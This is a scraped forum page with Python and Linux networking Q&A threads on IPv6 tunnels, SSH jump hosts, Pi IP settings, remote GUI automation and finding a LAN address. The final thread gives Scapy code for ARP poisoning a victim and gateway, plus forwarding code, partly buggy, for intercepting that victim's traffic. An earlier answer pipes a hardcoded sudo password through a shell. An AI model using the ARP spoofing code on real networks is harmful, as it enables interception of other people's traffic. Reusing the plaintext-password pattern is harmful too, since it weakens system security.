Python to run Linux commands - python

I want to execute few linux commands using python
these are my commands.
modprobe ipv6
ip tunnel add he-ipv6 mode sit remote 216.218.221.6 local 117.211.75.3 ttl 255
ip link set he-ipv6 up
ip addr add 2001:470:18:f3::2/64 dev he-ipv6
ip route add ::/0 dev he-ipv6
ip -f inet6 addr
216.218.221.6
117.211.75.3
2001:470:18:f3::2/64
these ip's are the inputs from the user. Commands also need root privileges.
My Code upto now.
import os
print("Enter Server Ipv4 Address")
serverip4=input()
print("Enter Local Ipv4 Address")
localip4=input()
print("Enter Client Ipv6 Address")
clientip4=input()

Like this:
import sys
import os
os.system("ip tunnel add he-ipv6 mode sit remote %s local %s ttl 255" % (whicheveripvariableisfirst), (whicheveripvariableisnext)))
If you need it run at sudo level then put sudo in the command section or make sure to run the python script as sudo.

I guess, subprocess would be best choice in this scenario as you want to get all command results and use it.
You can refer this page for that: https://docs.python.org/2/library/subprocess.html
Here is the code:
import subprocess
#To use the sudo -> echo "password" | sudo <command>
ipv6_command_list = "echo 'password' | sudo 'ip tunnel add he-ipv6 mode sit remote 216.218.221.6 local 117.211.75.3 ttl 255'"
ip_link_list = "echo 'password' | sudo 'ip link set he-ipv6 up'"
ip_addr_list = "echo 'password' | sudo 'ip addr add 2001:470:18:f3::2/64 dev he-ipv6'"
ip_route_list = "echo 'password' |sudo 'ip route add ::/0 dev he-ipv6'"
ip_inet_list = "echo 'password' | sudo 'ip -f inet6 addr'"
for ip_command in [ip_link_list,ip_addr_list,ip_route_list,ip_inet_list]:
proc = subprocess.check_output(ip_command, shell=True)

Related

SSH tunnel with terminal

I'm a beginner at ssh so be kind with my limited knowedge ;)
What I want to do is as follow:
SSH to a PC and then from this PC SSH to another one, see picture below:
SSH Tunnel
Here are the commands I run when I do it manually:
ssh user#155.254.0.1
After this command I will be prompt to enter the password.
From here I ssh again to the next "PC" with the following command:
ssh root#190.22.0.1 -y
and then I get prompt to enter the password.
I tried to use a python script to do it automatically by I was not able to come to the next seconds step.
Here is how the python code looks like:
import subprocess
cmd_1 = ["ls"]
cmd_3 = ['ls', '-l']
def send_top_cmd():
cmd_2 = ['top', "-b", "-n", "5"]
com2 = subprocess.Popen(cmd_2, stdout=out)
com2.wait()
def send_ssh_pc_1():
cmd = ["sshpass", "-p", "'user'", "ssh", "swupdate#155.254.0.1"]
ssh_sga = subprocess.Popen(cmd, stdout=out)
ssh_sga.wait()
def send_ssh_pc_2():
cmd = ["sshpass", "-p", "'root'", "ssh", "root#190.22.0.1"]
ssh_hpa = subprocess.Popen(cmd, stdout=out)
ssh_hpa.wait()
def send_exit():
cmd = ["exit"]
process = subprocess.Popen(cmd, stdout=out)
cmd = ["exit"]
process = subprocess.Popen(cmd, stdout=out)
print("done")
with open('output.txt', 'w') as out:
send_ssh_pc_1() # ssh PC 1
send_ssh_pc_2() # ssh PC 2
send_top_cmd() # Send a simply command
send_exit()
The script fails at the "send_ssh_pc_2()" since I dont have sshpass installed and there's no possibility to install it there :(
Is there a easier way to do it automatically?
So much easier to write as an answer instead of comment.
First, enable RSA authentication for both of your SSH boxes. Then you don't need to worry about passing password. https://www.ssh.com/academy/ssh/public-key-authentication
Then open SSH tunnel from your computer with following command:
ssh -L 2222:190.22.0.1:22 user#155.254.0.1
That will enable tunnel from your local computer port 2222 to host in address 190.22.0.1 port 22. So next you can open SSH connection to the target computer like this.
ssh -p 2222 root#localhost
If your RSA private key is authorized to both user#155.254.0.1 and root#190.22.0.1 no passwords should be asked and you have SSH connection to 192.22.0.1 from your workstation.
Of course you can tunnel any TCP traffic, not just SSH.
*** ADDED ***
Here is example of content of authorized_keys -file (some content removed).
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3fauf5H3kN92Gxx8xerCF***********************************************************************************************************************PPIrUMdf1948pqLspom8SIyeqJeKX8wVqcJch35O0Q4UVlbw== user#host
ssh-rsa AAAAB3Nzaasdfrgaa4634w4gfdewrtfauf5H3kN92Gxx8xerCF***********************************************************************************************************************PPIrUMdf1948pqLspossdfgqrbbsrdtwetdsfgsfdgsd== admin#anotherhost

Changing Raspberry PI ip address Via Python

I am making a user application that we will deploy on machines. The end user will have little linux experience so I wanted in our GUI to give them an option to set the IP. It seems to take the IP but loses it over reboot. I am using netifaces to read the IP and system commands to set it. Inside python or the linux cmd line I am seeing the same result. After an change ifconfig shows the change. After a reboot it reverts back. Do I need to modify the eth config file?
import netifaces as ni
from os import system
def getIPs():
#Grab Current IP Address
eth0 = ni.ifaddresses('eth0')[2][0]['addr']
wlan0 = ni.ifaddresses('wlan0')[2][0]['addr']
return eth0, wlan0
def setEth0(ipAddress):
if ipAddress != "":
system('sudo ifconfig eth0 down')
system(f'sudo ifconfig eth0 {ipAddress}')
system('sudo ifconfig eth0 up')
def setWlan0(ipAddress):
if ipAddress != "":
system('sudo ifconfig wlan0 down')
system(f'sudo ifconfig wlan0 {ipAddress}')
system('sudo ifconfig wlan0 up')
I changed the process to actually modify the following file instead of sending the system commands.
/etc/network/interfaces.d/eth0

Executing python autogui script on ssh remote executes commands on ssh host

I am trying to execute my python script over ssh on my Pi. I have setup my Priv/Pub Keys and execute them by using a python script on my host machine:
subprocess.run('ssh -p 2222 john#<IP_of_Pi> python3 /home/john/test.py', shell=True)
I am trying to automate some things by using autogui. My basic script looks like this
import pyautogui as aut
aut.PAUSE = 1
aut.keyDown('ctrl')
aut.keyDown('alt')
aut.press('t')
aut.keyUp('alt')
aut.keyUp('ctrl')
aut.typewrite(['f','i','r','e','f','o','x','enter'])
aut.hotkey('alt','d')
aut.typewrite(['d','u','c','k','d','u','c','k','g','o','.','c','o','m','enter'])
My problem here ist that all commands I execute are run on my local host machine. Same goes if I use other automation frameworks, e.g. Selenium. Every browser I open up is not started on my Pi, but on my host machine.
I have tried several modifications of subprocess, like
subprocess.run(['ssh','-p','2222 ','john#<IP_of_Pi>', 'python3', /home/john/test.py'])
subprocess.run(['ssh','-p','2222 ','john#<IP_of_Pi>', 'python3', /home/john/test.py'],shell=True,stdout=subprocess.PIPE)
subprocess.Popen(['ssh','-p','2222 ','john#<IP_of_Pi>', 'python3', /home/john/test.py'])
...
I can reprocude the errors if I execute test.py in my shell, the browser still opens on my host.
Just in case its relecant, the ssh_config on my remote (Pi):
Host *
# ForwardAgent no
# ForwardX11 no
# ForwardX11Trusted yes
# PasswordAuthentication yes
# HostbasedAuthentication no
# GSSAPIAuthentication no
# GSSAPIDelegateCredentials no
# GSSAPIKeyExchange no
# GSSAPITrustDNS no
# BatchMode no
# CheckHostIP yes
# AddressFamily any
# ConnectTimeout 0
# StrictHostKeyChecking ask
# IdentityFile ~/.ssh/id_rsa
# IdentityFile ~/.ssh/id_dsa
# IdentityFile ~/.ssh/id_ecdsa
# IdentityFile ~/.ssh/id_ed25519
# Port 22
# Protocol 2
# Ciphers aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc
# MACs hmac-md5,hmac-sha1,umac-64#openssh.com
# EscapeChar ~
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes

Getting 127.0.1.1 instead of 192.168.1.* ip ubuntu python

I am new to python. I want to get the ipaddress of the system. I am connected in LAN. When i use the below code to get the ip, it shows 127.0.1.1 instead of 192.168.1.32. Why it is not showing the LAN ip. Then how can i get my LAN ip. Every tutorials shows this way only. I also checked via connecting with mobile hotspot. Eventhough, it shows the same.
import socket
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
print("Your Computer Name is:" + hostname)
print("Your Computer IP Address is:" + IPAddr)
Output:
Your Computer Name is:smackcoders
Your Computer IP Address is:127.0.1.1
Required Output:
Your Computer Name is:smackcoders
Your Computer IP Address is:192.168.1.32
I got this same problem with my raspi.
host_name = socket.gethostname()`
host_addr = socket.gethostbyname(host_name)
and now if i print host_addr, it will print 127.0.1.1.
So i foundthis: https://www.raspberrypi.org/forums/viewtopic.php?t=188615#p1187999
host_addr = socket.gethostbyname(host_name + ".local")
and it worked.
As per the above '/etc/hosts' file content, you have an IP address mapping with '127.0.1.1' to your hostname. This is causing the name resolution to get 127.0.1.1. You can try removing/commenting this line and rerun.
How can I get the IP address of eth0 in Python?
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
print s.getsockname()[0]
This also worked for me:
gethostbyname(gethostname()+'.')
i get the same problem what your are facing. but I get the solution with help of my own idea, And don't worry it is simple to use.
if you familiar to linux you should heard the ifconfig command which return the informations about the network interfaces, and also you should understand about grep command which filter the lines which consist specified words
now just open the terminal and type
ifconfig | grep 255.255.255.0
and hit enter now you will get wlan inet address line alone like below
inet 192.168.43.248 netmask 255.255.255.0 broadcast 192.168.43.255
in your terminal
in your python script just insert
#!/usr/bin/env python
import subprocess
cmd = "ifconfig | grep 255.255.255.0"
inet = subprocess.check_output(cmd, shell = True)
inet = wlan.decode("utf-8")
inet = wlan.split(" ")
inet_addr = inet[inet.index("inet")+1]
print(inet_addr)
this script return your local ip address, this script works for me and I hope this will work for your linux machine
all the best
This solution works for me on Windows. If you're using Linux you could try this line of code instead:
IPAddr = socket.gethostbyname(socket.getfqdn())

packet forwarding while ARP poisoning [in Windows]

I wanted to make a "proxy" while ARP poisoning, it works with UDP and if I send a pkt to google I see it on my pc using wireshark
def trick(gate_mac, victim_mac):
'''Tricks the victim and the gate_way, using arp'''
my_mac=ARP()
my_mac=my_mac.hwsrc
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= victim_ip, psrc = gate_ip, hwdst= victim_mac))
sendp(Ether(dst=ETHER_BROADCAST)/ARP(pdst= gate_ip, psrc = victim_ip, hwdst= my_mac))
print "TRICKED"
that is the function i wrote to arp poison, now I want to send all the packets I get from the victim's pc to the router/
but I have no clue how to do packet forwarding.
You can simply activate your OS packet forwarding. If you're running Linux, a simple sysctl -w net.ipv4.ip_forward=1 should do that.
You may also need to let the packets pass your firewall;something like iptables -A FORWARD -s victim_ip -j ACCEPT; iptables -A FORWARD -d victim_ip -j ACCEPT should work (if you're using Linux, again).
Under other OSes, you need to find out how to enable packet forwarding and if needed add firewall rules. If you cannot enable packet forwarding, you can run another Scapy script to forward packets for you. Here is an example:
VICTIM_MAC = "00:01:23:45:67:89"
GATEWAY_MAC = "00:98:76:54:32:10"
_SRC_DST = {
GATEWAY_MAC: VICTIM_MAC,
VICTIM_MAC: GATEWAY_MAC,
}
def forward_pkt(pkt):
pkt[Ether].dst = _SRC_DST.get(pkt[Ether].src, GATEWAY_MAC)
sendp(dst)
sniff(
prn=forward_pkt,
filter="ip and (ether src %s or ether src %s)" % (VICTIM_MAC,
GATEWAY_MAC)
)

Categories